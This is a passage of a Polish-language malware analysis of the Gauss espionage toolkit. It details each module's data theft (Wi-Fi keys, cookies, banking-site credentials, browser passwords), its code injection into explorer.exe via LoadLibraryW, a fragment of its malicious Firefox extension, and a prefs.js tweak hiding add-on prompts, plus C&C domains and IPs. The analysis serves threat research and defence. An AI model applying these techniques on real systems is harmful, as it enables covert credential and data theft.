  • AVKService.exe
  • AVKTray.exe
  • AVKWCtl.exe
  • GDFirewallTray.exe
  • GDFwSvc.exe
  • GDScan.exe
  • abcd.exe
  • avp.exe
  • fameh32.exe
  • fch32.exe
  • fsar32.exe
  • fsav32.exe
  • fsdfwd.exe
  • fsgk32.exe
  • fsgk32st.exe
  • fsguidll.exe
  • fshdll32.exe
  • fsm32.exe
  • fsma32.exe
  • fsmb32.exe
  • fsorsp.exe
  • fspc.exe
  • fsqh.exe
  • fssm32.exe
  • fsus.exe
  • gsava.exe
  • gssm32.exe

Wersja modułu skompilowana 27 września 2011 r. kończy swoją pracę również w przypadku, gdy została uruchomiona na systemie operacyjnym Windows 7 SP1. Przez sprawdzenie gałęzi ENUM w rejestrze i przeszukując ciąg "USBSTOR", moduł stara się określić, czy podłączony jest magazyn USB. Wpisy pliku dziennika są skompresowane przy pomocy biblioteki Zlib.

File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Disk Helper FileVersion: 5.1.3700.0 InternalName: dskapi.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: dskapi.ocx ProductName: Microsoft(R) Windows(R) Operating System ProductVersion: 5.1.3700.0

Informacje o wersji "smdk.ocx" (identyczne jak w "dskapi.ocx")


McDmn.ocx

Nazwa modułu użytego w Gaussie: "McDomain".

Nazwa pliku%system32%\mcdmn.ocx
Znana suma MD5 9CA4A49135BCCDB09931CF0DBE25B5A9
Rozmiar obrazu 102 400 bajtów
Data kompilacji 16 września 2011 r.
Powiązany plik %temp%\md.bak

Ten moduł to plik DLL z jedną wyeksportowaną funkcją, zwaną "DllRegisterServer". Tworzy plik dziennika: "%temp%\md.bak", który jest szyfrowany 2-bajtowym algorytmem XOR. Moduł używa funkcji "LsaQueryInformationPolicy" do pozyskania nazwy domeny podstawowej. Moduł pobiera informacje o kartach sieciowych. Wszystkie te informacje są szyfrowane i przechowywane w pliku dziennika.

File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows File Extension FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft
Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: Microsoft(R) Windows(R) Operating System ProductVersion: 05.01.2600.5788

Informacje o wersji "mcdmn.ocx"

Lanhlp32.ocx

Nazwa modułu użytego w Gaussie: "Tailor".

Nazwa pliku%system32%\lanhlp32.ocx
Znana suma MD5 ED2B439708F204666370337AF2A9E18F
Rozmiar obrazu 278 528 bajtów
Data kompilacji 26 października 2011 r.
Powiązany plik %systemroot%\Temp\s61cs3.dat

Ten moduł to plik DLL z jedną wyeksportowaną funkcją, zwaną "DllRegisterServer". Zawiera zaszyfrowane informacje diagnostyczne oraz lokalizacje plików projektu, "d:\projects\tailor\":

d:\projects\tailor\utils\Exceptions.h ..\Utils\Buffer.cpp ..\Utils\CryptUtils.cpp ..\Utils\Event.cpp ..\Utils\EveryoneSecurityAttributes.cpp ..\Utils\File.cpp ..\Utils\Mutex.cpp ..\Utils\MyWlanApi.cpp ..\Utils\OsUtils.cpp ..\Utils\RemoteMemoryBuffer.cpp ..\Utils\Storage.cpp ..\Utils\StringUtils.cpp ..\Utils\Waiter.cpp .\SavedWNetworkConnectionsWin5.cpp .\SavedWNetworkConnectionsWin6.cpp .\VisibleNetworks.cpp

Moduł tworzy mutex: "Global\EnvDBE" i plik dziennika: "%systemroot%\Temp\s61cs3.dat". Operuje na systemach operacyjnych Windows XP, Windows Vista i Windows 7.

Na systemie Windows XP:
.\SavedWNetworkConnectionsWin5.cpp
Wylicza klucze rejestru w "HKLM\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\"
Wyciąga wartości "Static#", które zawierają dane zdalnego klucza.

Na systemie Windows Vista i Windows 7:
..\Utils\MyWlanApi.cpp
.\SavedWNetworkConnectionsWin6.cpp
.\VisibleNetworks.cpp

Używa rozszerzonego API "wlanapi.dll" do uzyskania dostępu do informacji o sieci WLAN. Wylicza dostępne interfejsy sieci bezprzewodowych, następnie wylicza wszystkie profile i wyciąga: SSID, nazwę i dane zdalnego klucza. Następnie pobiera listę sieci bezprzewodowych widocznych dla wszystkich interfejsów bezprzewodowych. Plik dziennika jest szyfrowany przy pomocy prostego 1-bajtowego algorytmu XOR.

File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows LAN Component FileVersion: 5.1.3700.0 InternalName: lanhlp32.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: lanhlp32.ocx ProductName: Microsoft(R) Windows(R) Operating System ProductVersion: 5.1.3700.0

Informacje o wersji "lanhlp32.ocx"


Devwiz.ocx

Nazwa modułu użytego w Gaussie: "Cosmos".

Nazwa pliku%system32%\devwiz.ocx
Znana suma MD5 CBB982032AED60B133225A2715D94458
Rozmiar obrazu 102 400 bajtów
Data kompilacji 19 marca 2012 r.
Powiązany plik %temp%\~ZM6AD3.tmp

Ten moduł to plik DLL z jedną wyeksportowaną funkcją, zwaną "RefreshDev". Tworzy plik dziennika: "%WINDIR%\temp\~ZM6AD3.tmp". Plik dziennika nie jest zaszyfrowany i rozpoczyna się od magicznej liczby 0xF68B973D. Moduł zbiera następujące informacje:

  • Zawartość pamięci CMOS RAM;
  • Klucze rejestru:

    [ HKLM\HARDWARE\DESCRIPTION\System\]
    \SystemBiosVersion, \SystemBiosDate

    [ HARDWARE\DESCRIPTION\System\BIOS\]
    \BIOSVendor, \BIOSVersion, \BIOSReleaseDate, \BaseBoardManufacturer, \BaseBoardProduct,
    \BaseBoardVersion, \SystemFamily, \SystemManufacturer, \SystemProductName, \SystemSKU,
    \SystemVersion

Wszystkie pobierane informacje są zapisywane w pliku dziennika.

File Version: 5.1.2600.0 Product Version: 5.1.2600.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows Device Wizard FileVersion: 5.1.2600.0 InternalName: devwiz.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: devwiz.ocx ProductName: Microsoft(R) Windows(R) Operating System ProductVersion: 5.1.2600.0

Informacje o wersji "devwiz.ocx"


Winshell.ocx

Nazwa modułu użytego w Gaussie: "Gauss".

Nazwa pliku%system32%\winshell.ocx
Znane sumy MD5 EF6451FDE3751F698B49C8D4975A58B5
7AC2799B5337B4BE54E5D5B03B214572
4FB4D2EB303160C5F419CEC2E9F57850
Rozmiar obrazu 405 504 bajtów (sierpień 2011 r.)
417 792 bajtów (październik 2011 r.)
401 408 bajtów (grudzień 2011 r. - styczeń 2012 r.)
Liczba zasobów 6
Zasoby 121, 122, 123, 124, 125, 126
Data kompilacji 8 sierpnia 2011 r.
3 października 2011 r.
14 grudnia 2011 r.
5 stycznia 2012 r.
Powiązane pliki %temp%\ws1bin.dat
browser.js
browser.xul
fileio.js
chrome.manifest
lppd.dat
install.rdf
rssf.dat
lfm.dat
mppd.dat
pddp.dat

Moduł tworzy zdarzenia: "Global\SrvReportCondition", "Global\DhwSyncEvent", "Global\ShellSync". Co ciekawe - wszystkie trzy warianty modułu, które zbadaliśmy, zawierają informacje o lokalizacji i nazwach oryginalnych projektów:

WariantŚcieżka dostępu do plików projektu
sierpień 2011 r. d:\projects\gauss
październik 2011 r. d:\projects\gauss_for_macis_2
grudzień 2011 r. - styczeń 2012 r. c:\documents and settings\flamer\desktop\gauss_white_1

Moduł zawiera zaszyfrowane informacje diagnostyczne oraz lokalizacje plików projektu:

c:\documents and settings\flamer\desktop\gauss_white_1\utils\Exceptions.h .\main.cpp .\Manager.cpp c:\documents and settings\flamer\desktop\gauss_white_1\utils\SmartPtr.h .\Injector.cpp c:\documents and settings\flamer\desktop\gauss_white_1
\gauss\../Utils/ComUtils.h .\History.cpp .\FirefoxPluginInstaller.cpp .\Telemetry.cpp .\Storage.cpp .\OsUtils.cpp .\ProcessSnapshot.cpp .\Event.cpp .\GaussThread.cpp .\Buffer.cpp .\RemoteMemoryBuffer.cpp .\File.cpp .\Mutex.cpp .\Waiter.cpp .\EveryoneSecurityAttributes.cpp .\Catcher.cpp .\BrowserConnector.cpp c:\documents and settings\flamer\desktop\gauss_white_1
\minime\../Utils/SmartPtr.h .\Assigner.cpp .\IEAbstractElements.cpp .\FormExtractor.cpp .\COMAbstractDataTypes.cpp

Informacje serwisowe, które zostały przeoczone przez twórców Gaussa i nie zostały wyczyszczone, zawierają kilka interesujących szczegółów. Dla przykładu: nazwa użytkownika, który kompilował projekt, to ciąg znaków układający się w nazwę "flamer".

Funkcja modułu "DllMain" inicjuje wątek tylko wtedy, gdy zostanie wywołana przez proces "explorer.exe".

Zapisywany jest plik dziennika: "%systemroot%\Temp\ws1bin.dat". Plik dziennika rozpoczyna się od magicznej liczby 0x0A86FD375 i jest zaszyfrowany 1-bajtowym algorytmem XOR 0x46. Zapis do pliku dziennika jest strzeżony przez mutex "Global\ShellSyncCom".

Moduł odczytuje klucz rejestru: SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability ShutdownInterval = binary data

Sprawdza wersję systemu Windows i na systemie Windows Vista oraz Windows 7 uzyskuje dostęp do folderu "%SystemDrive%\Users". Na wcześniejszych systemach operacyjnych uzyskuje dostęp do folderu "%SystemDrive%\Documents and settings" i pobiera stamtąd listę katalogów.

Funkcja eksportu "InitShellEx" - wylicza wszystkie wpisy w "HKEY_USERS", usuwa wszystkie wpisy z "SOFTWARE\Mozilla\Mozilla\Firefox" dla każdego użytkownika, wyszukuje plik dziennika "ws1bin.dat" i usuwa go.

Funkcja eksportu "SetWindowEvent" - ustawia zdarzenie "Global\DhwSyncEvent", czeka 20 sekund na zakończenie innego wątku, a następnie zamyka ten wątek.

Funkcja eksportu "ShellNotifyUser" - zwraca 1.

Funkcja eksportu "ShellNotifyUserEx" (główna funkcja eksportu) - rozpoczyna wątek, który powinien być monitorowany przez zdarzenie "SetWindowEvent" i wykonuje powrót.

Moduł wykonuje listing uruchomionych procesów i wykonuje powrót, jeżeli uruchomiony jest proces "evil.exe". Dodatkowo, rejestrowana jest obecność następujących kluczy rejestru: HKLM\SOFTWARE\KasperskyLab\AVP6, HKLM\SOFTWARE\KasperskyLab\protected\AVP7

Następnie rozpoczyna się pętla wyszukiwania uruchomionych instancji "%systemroot%\explorer.exe". Jeżeli instancja zostanie napotkana, w proces "explorer.exe" wstrzykiwany jest kod modułu "%systemroot%\system32\winshell.ocx".

Do wstrzyknięcia kodu "winshell.ocx" w Eksplorator Windows używana jest ciekawa technika: moduł tworzy zdalny wątek o adresie początkowym wskazującym na adres API "LoadLibraryW". Ścieżka dostępu do pliku ".ocx" jest przekazywana do funkcji jako "lpParameter".

"Telemetry" - pobiera i rejestruje następujące informacje:

  • Nazwa komputera
  • Wersja systemu operacyjnego Windows
  • Lista uruchomionych procesów
  • Lista katalogów w "%PROGRAMFILES%"
  • Wersja przeglądarki internetowej Internet Explorer
  • Podstawowa nazwa domeny
  • Informacje o karcie sieciowej

Poszukuje katalogu "Cookies", pobiera wszystkie pliki ciasteczek i zapisuje ich zawartość w dzienniku. Wyszukuje pliki ciasteczek, które zawierają następujące ciągi znaków:

  • paypal
  • mastercard
  • eurocard
  • visa
  • americanexpress
  • bankofbeirut
  • eblf
  • blombank
  • byblosbank
  • citibank
  • fransabank
  • yahoo
  • creditlibanais
  • amazon
  • facebook
  • gmail
  • hotmail
  • ebay
  • maktoob

Następnie, pobiera historię przeglądarki Internet Explorer używając funkcji "IUrlHistoryStg::EnumUrls", a z załadowanych stron próbuje odzyskać hasła i zawartości pól tekstowych. Wtyczka przeglądarki Firefox jest zapisywana w kilku plikach - wszystkie z nich są wyodrębniane i odszyfrowane z zasobów modułu.

Identyfikator zasobuNazwa pliku składnika wtyczki Firefoxa
121 browser.js
122 browser.xul
123 fileio.js
124 chrome.manifest
125 lppd.dat
126 install.rdf

Do pliku konfiguracyjnego Firefoxa "prefs.js" dodawany jest poniższy ciąg znaków, co wyłącza wyświetlanie okna "wybierz dodatki do uruchomienia", które zazwyczaj jest wyświetlane po każdej aktualizacji Firefoxa:

user_pref("extensions.shownSelectionUI", true);

Moduł instaluje rozszerzenie do Firefoxa: w systemie Windows Vista i Windows 7 do folderu "AppData\Roaming\Mozilla\Firefox\Profiles", we wcześniejszych systemach operacyjnych - do folderu "Application Data\Mozilla\Firefox\Profiles". Wszystkie pliki są zapisywane w katalogu o nazwie "{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}".

Rozszerzenie Firefoxa wyciąga następujące dane:

  • Historia przeglądania;
  • Hasła (wprowadzane i zapisywane przez użytkownika);
  • Ciasteczka: rozszerzenie może zostać skonfigurowane do gromadzenia ciasteczek z określonych serwisów, np. Google, Hotmail, Facebook, Yahoo.
const Cc = Components.classes; const Ci = Components.interfaces; const EXTENSION_ID = "{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}"; const EXTENSION_PATH = DirIO.get("ProfD").path+"\\extensions\\"+EXTENSION_ID; const QUERY_ID = 'YlU/X1gFa2Isb1YkcFMnP18u`1kkb1goYFUOakAgY1ULa1EjYlU/X1gPXWMyc18xY
GM0b1UxalEsYVYgX1Uha18qdVEna18lYWQi`Dgob2QubmklYWQi`DEjYGIkb2Mv
XWMyc18xYFwoclUl`WgPblUlb/oSY18uY1wk`FkjYT8tRV4ocFYkcFMnPVwrP18
u`1kkb2gublk/'; const EXTENSION_URL = "about:addons"; const EXTENSION_XUL = "chrome://mozapps/content/extensions/extensions.xul"; const ERROR_FILE = "rssf.dat"; const LOG_FILE = "lfm.dat"; const OUTPUT_FILE = "mppd.dat"; const VERSION_FILE = "lddp.dat"; const MAX_FILE_SIZE = Math.pow(2,20)*10; const MEAN_ROW_SIZE = 100; const MAX_ROW_COUNT = (1/3)*(MAX_FILE_SIZE/MEAN_ROW_SIZE);

Część kodu "browser.js"

Rozszerzenie Firefoxa w swoim katalogu zapisuje kilka plików dziennika:

Nazwa pliku dziennikaOpis
rssf.dat Historia przeglądania
lfm.dat Plik dziennika
mppd.dat Zebrane hasła
pddp.dat Zebrane ciasteczka
File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows Shell Component FileVersion: 5.1.3700.0 InternalName: winshell.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: winshell.ocx ProductName: Microsoft(R) Windows(R) Operating System ProductVersion: 5.1.3700.0

Informacje o wersji pliku "winshell.ocx"


Windig.ocx

Nazwa modułu użytego w Gaussie: "Lagrange".

Nazwa pliku%system32%\windig.ocx
Znana suma MD5 DE2D0D6C340C75EB415F726338835125
Rozmiar obrazu 180 224 bajtów
Data kompilacji 15 lipca 2011 r.
Powiązany plik Fonts\ pldnrfn.ttf

Moduł jest biblioteką DLL systemu Windows z jedną wyeksportowaną funkcją, zwaną "GlobalDeleteAtomL". Odczytuje klucz rejestru, który oryginalnie jest tworzony przez moduł "ShellHW":

HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability
ShutdownInterval = binary data

Jeżeli wartość nie jest obecna w rejestrze, w tym kluczu zapisywana jest wartość losowa. Następnie, nowy plik czcionki TrueType: "%SystemRoot%\fonts\pldnrfn.ttf" (62 668 bajtów) jest tworzony z szablonu i z użyciem losowych danych z klucza "ShutdownInterval". Czas utworzenia pliku czcionki jest ustawiony identycznie jak czas utworzenia czcionki Arial, "%SystemRoot%\fonts\ARIAL.TTF". Następnie, czcionka o niestandardowej nazwie "Palida Narrow" rejestrowana jest w systemowym repozytorium czcionek przy wykorzystaniu funkcji API "AddFontResourceW". Moduł tworzy także wartość rejestru:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts
Palida Narrow (TrueType)=pldnrfn.ttf

Cel dodania wspomnianej czcionki nie jest jeszcze znany. Wygląda na to, że zawiera ona prawidłowe symbole zachodnie, bałkańskie i tureckie.

  Informacje o czcionce (Font Viewer)
File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WIN32 Digital Library FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft
Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: Microsoft(R) Windows(R) Operating System ProductVersion: 05.01.2600.5788

Informacje o wersji pliku "windig.ocx"


Informacje o centrum kontroli Gaussa

Aby przesłać dane skradzione z zainfekowanych maszyn, Gauss używa kilku serwerów centrum kontroli, predefiniowanych w jego elastycznej konfiguracji.

 Zaszyfrowane dane informacyjne na temat centrum kontroli Gaussa

Oto rzut okiem na rozszyfrowane dane konfiguracyjne:

  Odszyfrowane dane konfiguracyjne centrum kontroli Gaussa

Na powyższym przykładzie widać nazwy domen / hostów centrum kontroli Gaussa wraz z nazwą skryptu ("userhome.php") po stronie serwera, który jest używany do komunikacji. Przechodząc przez wiele próbek Gaussa zidentyfikowaliśmy kilka domen, używanych jako serwery C&C:

  • *.gowin7.com
  • *.secuurity.net
  • *.datajunction.org
  • *.bestcomputeradvisor.com
  • *.dotnetadvisor.info
  • *.guest-access.net
Wmiqry.ocx    
1 czerwca 2011 r. dotnetadvisor.info bestcomputeradvisor.info datajunction.org guest-access.net
16 lipca 2011 r. *.bestcomputeradvisro.info *.guest-access.net    
18 lipca 2011 r. *.bestcomputeradvisor.info *.guest-access.net    
28 września 2011 r. *.gowin7.com *.secuurity.net    
20 października 2011 r. *.datajunction.org *.dotnetadvisor.info    
20 października 2011 r. *.gowin7.com *.secuurity.net    

Zależnie od wariantu, za symbol "*" może zostać podstawione "a", "b", "c" itd. Dla przykładu, pełną nazwą domeny "*.gowin7.com" może być "b.gowin7.com". Większość próbek, z którymi mieliśmy do czynienia, używała domen "*.gowin7.com" i "*.secuurity.net". Domeny "gowin7.com" i "secuurity.net" zostały zarejestrowane przez Adolpha Dybeveka, najprawdopodobniej fałszywą tożsamość:

nazwa właściciela: Adolph Dybevek
adres właściciela: Prinsen Gate 6
miejscowość właściciela: Oslo
adres administratora: Prinsen Gate 6
rejestrator ICANN: UNITED-DOMAINS AG
utworzono: 2012-03-15
wygasa: 2013-03-15
uaktualniono: 2012-03-15

Tak, jak miało to miejsce w przypadku Flame'a, adres rejestracji tej domeny istnieje fizycznie. Pod adresem Prinsens Gate 6 w Oslo znajduje się norweski hotel:

Podobnie, wiele rejestracji fałszywych domen dla centrum kontroli Flame'a używało adresów hoteli. Podczas okresu monitorowania zaobserwowaliśmy, że dwie główne domeny wskazują na dwa różne serwery w Indiach i Portugalii. W oparciu o analizę pasywnego DNS zidentyfikowaliśmy kolejne trzy serwery, zlokalizowane w Stanach Zjednoczonych, które wydawały się być używane jako serwery C&C. Hosty "gowin7.com" i "secuurity.net" wskazały na następujące adresy IP:

DataDomenaAdres IP
28.06.2012 23:05 b.gowin7.com 109.71.45.115
2012-06-29 07:05:28 (zmieniono) b.gowin7.com 182.18.166.116
28.06.2012 23:05 b.secuurity.net 109.71.45.115
2012-06-29 07:05:29 (zmieniono) b.secuurity.net 182.18.166.116

Dnia 29 czerwca 2012 r., dwie domeny C&C: "gowin7.com" i "secuurity.net" zmieniły IP 109.71.45.115 na IP 182.18.166.116. Oba serwery zostały wyłączone około 13 lipca 2012 r. Przed wyłączeniem serwerów udało nam się zebrać ważne informacje. Oba działały pod kontrolą linuksa Debian, co jest zgodne z serwerami C&C Flame'a. Prowadziły nasłuch na portach 22, 80 i 443. Certyfikaty SSL zostały samodzielnie podpisane, tak samo jak w przypadku Flame'a. Poniżej zamieszczamy certyfikat wystawiony dla serwera w Portugalii:

Jeśli wierzyć informacji na certyfikacie, został on wygenerowany 17 lutego 2012 r. Serwer pod adresem 182.18.166.116 (Indie) wydaje się obecnie gościć dwie inne, powiązane domeny:

  • bestcomputeradvisor.com
  • dotnetadvisor.info

Obie zostały zarejestrowane na kogoś, kto nazywa się Gilles Renaud - prawdopodobnie i ta tożsamość jest fałszywa:

 

Rejestrujący:
Gilles Renaud
Neugasse 10
Zurich, Zurich 8005
CH

Pierwotnie domeny były hostowane w Stanach Zjednoczonych, pod adresami IP: 173.204.235.204 i 173.204.235.196. Aktualnie zaobserwowaliśmy próbki, które jako centrum kontroli wykorzystują: "{ e,g,h}.bestcomputeradvisor.com" i "c.dotnetadvisor.info". Jest całkiem możliwe, że istnieją próbki wskazujące na inne hosty. Dodatkowe domeny "datajunction.org" i "guest-access.net" można odnaleźć w niektórych próbkach i również one wykorzystywane są do komunikacji z C&C. W tej chwili posiadamy próbki, które używają domen "c.datajunction.org" i "d.datajunction.org", ale zapewne istnieją też egzemplarze szkodnika, które wykorzystują nazwy "a.*" oraz "b.*". Obie domeny zostały zarejestrowane na Petera Kulmanna, prawdopodobnie kolejną fałszywą tożsamość:

Nazwa osoby rejestrującej: Peter Kulmann
Ulica 1:Antala Staska 1301/19
Ulica 2:
Ulica 3:
Miasto: Praga
Stan / prowincja:
Kod pocztowy: 14000
Kraj: CZ

Adres Antala Staska 1301 / 19 również jest fałszywy - wskazuje na supermarket / aptekę w Pradze:

 

Aktualnie (stan na sierpień 2012 r.), wszystkie hosty "*.datajunction.org" wskazują na serwer C&C w Indiach. Wcześniej kierowały do serwera w Portugalii. Tak jak inne, również i te były pierwotnie hostowane w Stanach Zjednoczonych. Dodatkowo, zidentyfikowaliśmy jeszcze jedną domenę: "dataspotlight.net", która była hostowana na tych samych serwerach. Personalia osoby rejestrującej domenę nie są znane i nie natrafiliśmy na żadne próbki, które by z niej korzystały - jednakże, najprawdopodobniej jest ona w jakiś sposób powiązana z innymi domenami.


Przegląd domen centrum kontroli Gaussa

W sumie zidentyfikowaliśmy 7 domen używanych bezpośrednio lub związanych ze szkodliwym oprogramowaniem Gauss:

DomenaZarejestrowana przezAktualnie hostowanaWcześniej hostowanaPierwotnie hostowana
gowin7.com Adolph Dybevek Indie Portugalia Stany Zjednoczone
secuurity.net Adolph Dybevek Indie Portugalia Stany Zjednoczone
datajunction.org Peter Kulmann Indie Portugalia Stany Zjednoczone
bestcomputeradvisor.com Gilles Renaud Indie Portugalia Stany Zjednoczone
dotnetadvisor.info Gilles Renaud Indie Portugalia Stany Zjednoczone
dataspotlight.net NIEZNANE Indie Portugalia NIEZNANE
guest-access.net Peter Kulmann Nie Nie Nie

Historia rejestracji domen:

DomenaData rejestracji
bestcomputeradvisor.com, dotnetadvisor.info 22 lipca 2011 r.
datajunction.org, guest-access.net 26 lipca 2011 r.
gowin7.com, secuurity.net 15 marca 2012 r.
dataspotlight.net 18 kwietnia 2012 r.

Jak można zobaczyć powyżej, cztery domeny zostały utworzone w 2011 r. i były wykorzystywane w starszych wersjach próbek Gaussa. Nowsze próbki używają domen "gowin7.com" i "secuurity.net", które zostały zarejestrowane 15 marca 2012 r. Znane adresy IP serwerów C2 Gaussa:

SerwerLokalizacja
182.18.166.116 Indie, Hyderabad
109.71.45.115 Portugalia, Constancia
173.204.235.204 Stany Zjednoczone, San Francisco
173.204.235.196 Stany Zjednoczone, San Francisco
173.204.235.201 Stany Zjednoczone, San Francisco

Poniżej znajduje się porównanie infrastruktury C2 Flame'a i Gaussa:

 FlameGauss
Hosting VPS z uruchomionym linuksem Debian VPS z uruchomionym linuksem Debian
Dostępne usługi SSH, HTTP, HTTPS SSH, HTTP, HTTPS
Certyfikat SSL 'localhost.localdomain' - podpisany samodzielnie 'localhost.localdomain' - podpisany samodzielnie
Informacje o rejestrujących Fałszywe nazwy Fałszywe nazwy
Adres rejestrujących Hotele, sklepy Hotele, sklepy
Protokół ruchu C2 HTTPS HTTPS
Szyfrowanie ruchu C2 Brak XOR 0xACDC
Nazwy skryptów C2 cgi-bin/counter.cgi, common/index.php userhome.php
Ilość domen C2 ~100 6
Ilość fałszywych tożsamości użytych do rejestracji domen ~20 3


Równoważenie DNS

Dla niektórych serwerów C2 operatorzy użyli techniki Równoważenia obciążenia - prawdopodobnie po to, aby równomiernie rozłożyć ruch sieciowy. Jest to dość popularna technika, stosowana w przypadku masowego ruchu na witrynie internetowej, co sugeruje, że w szczytowym punkcie działania serwery centrum kontroli Gaussa przetwarzały ogromne ilości danych. Oto jeden z przykładów równoważenia DNS:

;; QUESTION SECTION: ;DATAJUNCTION.ORG. IN A ;; ANSWER SECTION: DATAJUNCTION.ORG. 900 IN A 182.18.166.116 DATAJUNCTION.ORG. 3600 IN A 173.204.235.204 DATAJUNCTION.ORG. 900 IN A 109.71.45.115

Jak można łatwo zauważyć, domena "datajunction.org" jest rozwiązywana na trzy różne adresy IP: 182.18.166.116, 173.204.235.204 i 109.71.45.115.


Oś czasu

Spróbowaliśmy zestawić informacje o datach utworzenia różnych modułów Gaussa z informacjami o składnikach Flame'a i Duqu. Ponieważ żadne moduły Gaussa nie zostały utworzone przed 2011 r., tabela poniżej nie zawiera wcześniejszych danych dla Flame'a i Duqu.

Lista plików

Zebraliśmy nazwy wszystkich modułów, plików tymczasowych, plików dzienników i plików danych używanych przez Gaussa, które udało nam się poznać:

Główne modułyŚcieżka dostępu
wmiqry32.dll %system%\wbem
wmihlp32.dll %system%\wbem
dskapi.ocx %system%
winshell.ocx %system%
devwiz.ocx %system%
lanhlp32.ocx %system%
mcdmn.ocx %system%
smdk.ocx %system%
windig.ocx %system%
system32.bin główny folder napędu USB
system32.dat główny folder napędu USB
.CatRoot.tmp główny folder napędu USB
Pliki i foldery danychŚcieżka dostępu
~shw.tmp %temp%
~stm.tmp %temp%
ws1bin.dat %windir%\Temp
ws1bin.dat %temp%
~gdl.tmp %temp%
~mdk.tmp %temp%
.thumbs.db główny folder napędu USB
wabdat.dat %temp%
desktop.ini wewnątrz folderów na urządzeniu USB
target.lnk wewnątrz folderów na urządzeniu USB
.Backup0[D-M] katalog na urządzeniu USB
.Backup00[D-M] katalog na urządzeniu USB
md.bak %temp%
s61cs3.dat %systemroot%\Temp\
s61cs3.dat %temp%
~ZM6AD3.tmp %windir%\temp
browser.js "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
browser.xul "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
fileio.js "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
chrome.manifest "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
lppd.dat "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
install.rdf "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
rssf.dat "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
lfm.dat "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
mppd.dat "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
pddp.dat "%AppData%\Roaming\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc}
%AppData%\Mozilla\Firefox\Profiles\*\
{ a288cad4-7b24-43f8-9f4d-8e156305a8bc} "
pldnrfn.ttf %SystemRoot%\fonts\


Konkluzja

Gauss jest najświeższym odkryciem wśród cyberszpiegowskich projektów, do których zalicza się również Stuxnet, Flame i Duqu. Najprawdopodobniej został stworzony w połowie 2011 r., a pierwszy raz pojawił się "na wolności" w sierpniu lub wrześniu 2011 r.

